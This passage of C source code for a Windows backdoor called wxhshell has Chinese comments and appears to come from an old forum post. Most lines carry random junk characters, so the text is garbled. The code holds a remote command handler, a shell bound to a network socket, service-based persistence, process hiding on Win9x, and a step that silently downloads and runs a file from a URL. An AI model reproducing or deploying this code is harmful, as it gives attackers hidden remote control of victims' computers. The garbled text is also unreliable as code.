  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [,)yc/{*  
  } t_5b  
  else { 3>qUYxG8  
cGiS[-g  
    switch(cmd[0]) { jca7Cx`sm  
  yHkZInn  
  // 帮助 Yi1* o?  
  case '?': { j%Mz;m4y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P]gksts9f.  
    break; BFmYbK  
  } zvB!=  
  // 安装 tyFhp:ZB  
  case 'i': { yaV=e1W  
    if(Install()) dP[l$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qG3 [5lti  
    else jXq~ x"(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xevG)m  
    break; E;\XZ<E  
    } ),%/T,!@  
  // 卸载 |E$Jt-'  
  case 'r': { 5&q@;vR  
    if(Uninstall()) {bnNY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o.U$\9MNP  
    else dO.?S89L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^G%Bj`%  
    break; T0n=nC}<  
    } /'?Fz*b  
  // 显示 wxhshell 所在路径 IQ[ ?ej3W  
  case 'p': { ZK<kn8JJ  
    char svExeFile[MAX_PATH]; LcCb[r  
    strcpy(svExeFile,"\n\r"); +cv7]  
      strcat(svExeFile,ExeFile); ;Vc@]6Ck  
        send(wsh,svExeFile,strlen(svExeFile),0); 6J0HaL  
    break; u38FY@U$  
    } JmdXh/X  
  // 重启 rhY>aj  
  case 'b': { .b>1u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <(W0N|1v  
    if(Boot(REBOOT)) Ai\"w0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9frP`4<)  
    else { |VM c,_D  
    closesocket(wsh);  s#om  
    ExitThread(0); Kd^{~Wlz&z  
    } ,\Gn  
    break; K1#Y{k5D}  
    } wJ-G7V,)  
  // 关机  9],;i7c  
  case 'd': { 3nv7Uz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @>f]0,"(  
    if(Boot(SHUTDOWN)) )\_xB_K\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yA_;\\  
    else { 9i@AOU  
    closesocket(wsh); x][vd^iW  
    ExitThread(0); o~!4&  
    } HH+R47%*  
    break; s>z$_  
    } $@d`Kz;  
  // 获取shell [Z6]$$!#2  
  case 's': { @!6eRp>Z  
    CmdShell(wsh); dq~p]h~,H  
    closesocket(wsh); AH`D&V  
    ExitThread(0); D3Lu]=G  
    break; d{+ H|$L`  
  } .CFaBwj  
  // 退出 -'+|r]  
  case 'x': { eCdx(4(\a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mLX1w)=r  
    CloseIt(wsh); VpSk.WY/ e  
    break; }CZ,WJz=  
    } UN_f2  
  // 离开 Gxfw!aF~  
  case 'q': { TN3, \qgV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c.jq?Q k  
    closesocket(wsh); 8}h ^Frh  
    WSACleanup(); ?^P#P0  
    exit(1); Yf Udpa0  
    break; 6'ye-}vD-  
        } WmLl.Vv=  
  } awuUaE  
  } Yu=4j9e_mG  
vfzGRr  
  // 提示信息 Ga~N7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _i~n!v  
} ]YkF^Pf!v  
  } ;>[).fX>/  
g6 EdCG.V  
  return; xG0IA 7  
} f ^mxj/%L  
YXXUYi~!f  
// shell模块句柄 Z:aDKAboU  
int CmdShell(SOCKET sock) 9x.vz  
{ OqUEj 0X  
STARTUPINFO si; wqBGJ   
ZeroMemory(&si,sizeof(si)); LA$uD?YA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Lwi?~!LI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C3-l(N1O{  
PROCESS_INFORMATION ProcessInfo; 0X+Jj/-ge  
char cmdline[]="cmd"; R[ S*ON  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oQ~Q?o]Ri  
  return 0; ,R0@`t1 p  
} E>TD`  
m s\:^a  
// 自身启动模式 Q_/{TE/sO5  
int StartFromService(void) A=|LMJMWR  
{ l;U9dO}/[  
typedef struct JGt4B  
{ V`~$| K[  
  DWORD ExitStatus; vq_W zxaG  
  DWORD PebBaseAddress; K,tmh1  
  DWORD AffinityMask;  S]ZO*+  
  DWORD BasePriority; m JewUc!<5  
  ULONG UniqueProcessId; gwQL9 UYx  
  ULONG InheritedFromUniqueProcessId; lJoMJS;S]}  
}   PROCESS_BASIC_INFORMATION; &J^@TgqL^  
=%Gecj  
PROCNTQSIP NtQueryInformationProcess; R?1;'pvpa[  
X obiF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tz58@VYV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W-=~Afy  
^te9f%>$l  
  HANDLE             hProcess; m}6GVQ'Q  
  PROCESS_BASIC_INFORMATION pbi; r S/Q  
}aXc,;Ps  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &9PzBc  
  if(NULL == hInst ) return 0; xuO5|{h  
N-jFA8n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a}`4BMi3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UY j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JI )+  
1 Y@6oT  
  if (!NtQueryInformationProcess) return 0; gj\r>~S  
~CldqXeI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2i', e  
  if(!hProcess) return 0; #^<7VS!x  
N::_JH? ^=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `y0ZFh1>X  
00?^!';  
  CloseHandle(hProcess); &bh?jW  
&PD4+%!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IvetQ+  
if(hProcess==NULL) return 0; gd.P%KC!g  
`j[)iok  
HMODULE hMod; v"O{5LM"  
char procName[255]; _]1dm)%  
unsigned long cbNeeded; 8^p/?R^bu  
^SxB b,\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eznw05U  
8U\;N  
  CloseHandle(hProcess); 9%oLv25{)  
xBG&ZM4"^f  
if(strstr(procName,"services")) return 1; // 以服务启动 /#9O{)  
.qy._C2(  
  return 0; // 注册表启动 w|>:mQnU  
} ?A(=%c|,g  
g63:WX-\  
// 主模块 W2tIt&{  
int StartWxhshell(LPSTR lpCmdLine) `>rdn*B  
{ 9+@_ZI-  
  SOCKET wsl; u%5B_<90V  
BOOL val=TRUE; T#J]%IDd  
  int port=0; "KOLRJ@  
  struct sockaddr_in door; ?YXl.yj  
Sl^HMO  
  if(wscfg.ws_autoins) Install(); tNbCO+rZ  
!#3#}R.$Fl  
port=atoi(lpCmdLine); s ZkQJ->  
V;=SncUb  
if(port<=0) port=wscfg.ws_port; RK/SeS  
ma~WJ0LM\  
  WSADATA data; =/.[&DG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LH]nJdq?)  
g-oHu8   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #PoUCRRC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `*9W{|~Gwx  
  door.sin_family = AF_INET; N-3w)23*:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h_?D%b~5  
  door.sin_port = htons(port); 7R<<}dA]  
9g"a`a?c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \PU|<Ru.  
closesocket(wsl); Y!i4P#4+q  
return 1;  tAP~  
} QtkyKR  
| g> K$m^  
  if(listen(wsl,2) == INVALID_SOCKET) { [@#P3g\:>W  
closesocket(wsl); I6YN&9Y  
return 1; ],>Z' W  
} `"I^nD^t>Y  
  Wxhshell(wsl); R2x(8k"LPU  
  WSACleanup(); NJs )2  
\M=" R-&b  
return 0; ff-9NvW4v  
Rla1,{1  
} 0Vh|UJ'&7  
+ ?*,J=/  
// 以NT服务方式启动 h:" <x$F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lj@c"Yrk  
{ LEc%BQx  
DWORD   status = 0; 1 W2AE?  
  DWORD   specificError = 0xfffffff; Nk86Y2h  
z^{VqC*o+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H1 n`A#6?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u` `FD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >\^:xx Tf  
  serviceStatus.dwWin32ExitCode     = 0; CO0Nq/@  
  serviceStatus.dwServiceSpecificExitCode = 0; :v Pzw!  
  serviceStatus.dwCheckPoint       = 0; TaG'?  
  serviceStatus.dwWaitHint       = 0; 3@KX|-  
|6"zIHvtc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D"bLJ j/!  
  if (hServiceStatusHandle==0) return; DWHl,w;[z`  
A 99 .b  
status = GetLastError(); e {N8|l  
  if (status!=NO_ERROR) ,;O+2TX  
{ 4punJg~1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;wp)E nF  
    serviceStatus.dwCheckPoint       = 0; i~ n>dc YW  
    serviceStatus.dwWaitHint       = 0; u <%,Ql  
    serviceStatus.dwWin32ExitCode     = status; d.% Vm&3  
    serviceStatus.dwServiceSpecificExitCode = specificError; fJd!;ur)0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !R[o6V5T  
    return; cDxjD5E  
  }  PZf^r  
jToA"udW/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (lwkg8WC  
  serviceStatus.dwCheckPoint       = 0; -1:yqF.x  
  serviceStatus.dwWaitHint       = 0; $vTU|o>|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pd%o6~_*  
} hR[Qdu6r  
D/9&pRsO  
// 处理NT服务事件,比如:启动、停止 %S]5wR6;_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f<!eJO:<'  
{ zRD{"uqi  
switch(fdwControl)  z4&|~-m,  
{ 1 BAnf9  
case SERVICE_CONTROL_STOP: y2TJDb1  
  serviceStatus.dwWin32ExitCode = 0; PC7U&*x@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * "~^k^_b}  
  serviceStatus.dwCheckPoint   = 0; 31  QT  
  serviceStatus.dwWaitHint     = 0; `Q, moz  
  { Qi w "x,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  *9`@  
  } ]{0 2!  
  return; Zc{at}{  
case SERVICE_CONTROL_PAUSE: {O]Cj~}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DKF`uRvGN:  
  break; <lB^>Hfu  
case SERVICE_CONTROL_CONTINUE: U5Q `r7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7$\;G82_  
  break; wX<)Fj'  
case SERVICE_CONTROL_INTERROGATE: bv4lgRE6Y  
  break; cmZ39pjBJ  
}; ^ bexXYh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W.HM!HQp  
} ,+oQ 5c(f  
Hb#8?{  
// 标准应用程序主函数 wx>BNlT@?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5WP)na6"  
{ \6T&gX  
H8mmmt6g  
// 获取操作系统版本 J3oH^  
OsIsNt=GetOsVer(); u0A.I_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /U`"Xx  
$eCxpb..  
  // 从命令行安装 {Ymn_   
  if(strpbrk(lpCmdLine,"iI")) Install(); 2VrF~+  
A]WU*GL2H  
  // 下载执行文件 Zyu4!  
if(wscfg.ws_downexe) { :;#^h]Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KWLI7fTgj$  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Fh%jRHZ`  
} G9 ;X=c  
\{\*h/m  
if(!OsIsNt) { MIsjTKE  
// 如果时win9x,隐藏进程并且设置为注册表启动 #B88w9 b`D  
HideProc(); "S,,BjL  
StartWxhshell(lpCmdLine); >j4;{r+eQw  
} fx_7X15  
else VEkv JX.  
  if(StartFromService()) _<+!  
  // 以服务方式启动 G yvEc3|@  
  StartServiceCtrlDispatcher(DispatchTable); 7ykpDl^@  
else Z_zN:BJ8L  
  // 普通方式启动 ]t=m  
  StartWxhshell(lpCmdLine); LS}u6\(  
MD1n+FgTu  
return 0; 5*/~) wN\U  
}
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只看该作者 1 发表于: 2006-10-10
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